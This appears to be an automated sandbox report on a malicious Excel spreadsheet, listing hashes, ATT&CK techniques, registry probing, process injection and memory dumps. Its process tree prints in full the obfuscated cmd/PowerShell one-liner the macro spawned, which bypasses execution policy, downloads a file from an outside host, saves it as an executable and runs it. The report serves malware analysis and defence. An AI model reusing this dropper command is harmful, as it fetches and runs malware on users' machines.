8abfac506cbacd2b386a8ecf9986fc1f553bc5d5a3cc3b450c89ed9d9ac864dc

General

Target

8abfac506cbacd2b386a8ecf9986fc1f553bc5d5a3cc3b450c89ed9d9ac864dc.xls
Size

88KB
MD5

1a91090326e5e2d1ff847ad83dbdcb3e
SHA1

ae0237f6502a7feede43c47c3461a56947df8d80
SHA256

8abfac506cbacd2b386a8ecf9986fc1f553bc5d5a3cc3b450c89ed9d9ac864dc
SHA512

02afa4ed9a65fcae4304b6c7b669d10a57e27abdbc96c3418532dd269667f22ac35c83ebc97ad35796a6433963687632419385445cb0da785cc9d9c97b172d83
SSDEEP

1536:3zRzybFMxEtjPOtioVjDGUU1qfDlaGGx+cL2Qn89MwDhXS6dJPgDVXNnTlyd:oMxEtjPOtioVjDGUU1qfDlaGGx+cL2QN

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4040	1444	cMD.exe	81

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5024	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1444	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5024	powershell.exe
5024	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5024	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1444 wrote to memory of 4040	1444	EXCEL.EXE	87
PID 1444 wrote to memory of 4040	1444	EXCEL.EXE	87
PID 4040 wrote to memory of 5024	4040	cMD.exe	89
PID 4040 wrote to memory of 5024	4040	cMD.exe	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8abfac506cbacd2b386a8ecf9986fc1f553bc5d5a3cc3b450c89ed9d9ac864dc.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1444
- C:\Windows\SYSTEM32\cMD.exe
  cMD.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='a';$uy='gpl';$ji='ij.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'https://futanostra.win/foglio.ful'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='a';$uy='gpl';$ji='ij.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'https://futanostra.win/foglio.ful'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lwof0iwt.fmw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
f3138566162c5d96bbcc0328d73cc982

SHA1
f0a53384f1b3c88dc261d25f6aa12ebb7014bccc

SHA256
9b1c0c9fa11abd5657e13f52410db99676fe24310842a8c10f2cc3cf57949a59

SHA512
7e3b9e87e71a2829ec7fde0e0831d864a01e8701172299e6e527e45259933db0547f45b483ef94b8fc532d6678ce437e5c9ffe98ce0c1f2b77a2703832311330

Download Submit
memory/1444-14-0x00007FFF1FFF0000-0x00007FFF20000000-memory.dmp

Filesize
64KB

Download
memory/1444-240-0x00007FFF6280D000-0x00007FFF6280E000-memory.dmp

Filesize
4KB

Download
memory/1444-0-0x00007FFF227F0000-0x00007FFF22800000-memory.dmp

Filesize
64KB

Download
memory/1444-10-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-16-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-8-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-7-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-6-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-5-0x00007FFF227F0000-0x00007FFF22800000-memory.dmp

Filesize
64KB

Download
memory/1444-11-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-12-0x00007FFF1FFF0000-0x00007FFF20000000-memory.dmp

Filesize
64KB

Download
memory/1444-13-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-4-0x00007FFF227F0000-0x00007FFF22800000-memory.dmp

Filesize
64KB

Download
memory/1444-1-0x00007FFF6280D000-0x00007FFF6280E000-memory.dmp

Filesize
4KB

Download
memory/1444-9-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-18-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-20-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-19-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-17-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-77-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-2-0x00007FFF227F0000-0x00007FFF22800000-memory.dmp

Filesize
64KB

Download
memory/1444-3-0x00007FFF227F0000-0x00007FFF22800000-memory.dmp

Filesize
64KB

Download
memory/1444-239-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-15-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-241-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-242-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/1444-243-0x00007FFF62770000-0x00007FFF62965000-memory.dmp

Filesize
2.0MB

Download
memory/5024-232-0x000001D1A3A70000-0x000001D1A3A92000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads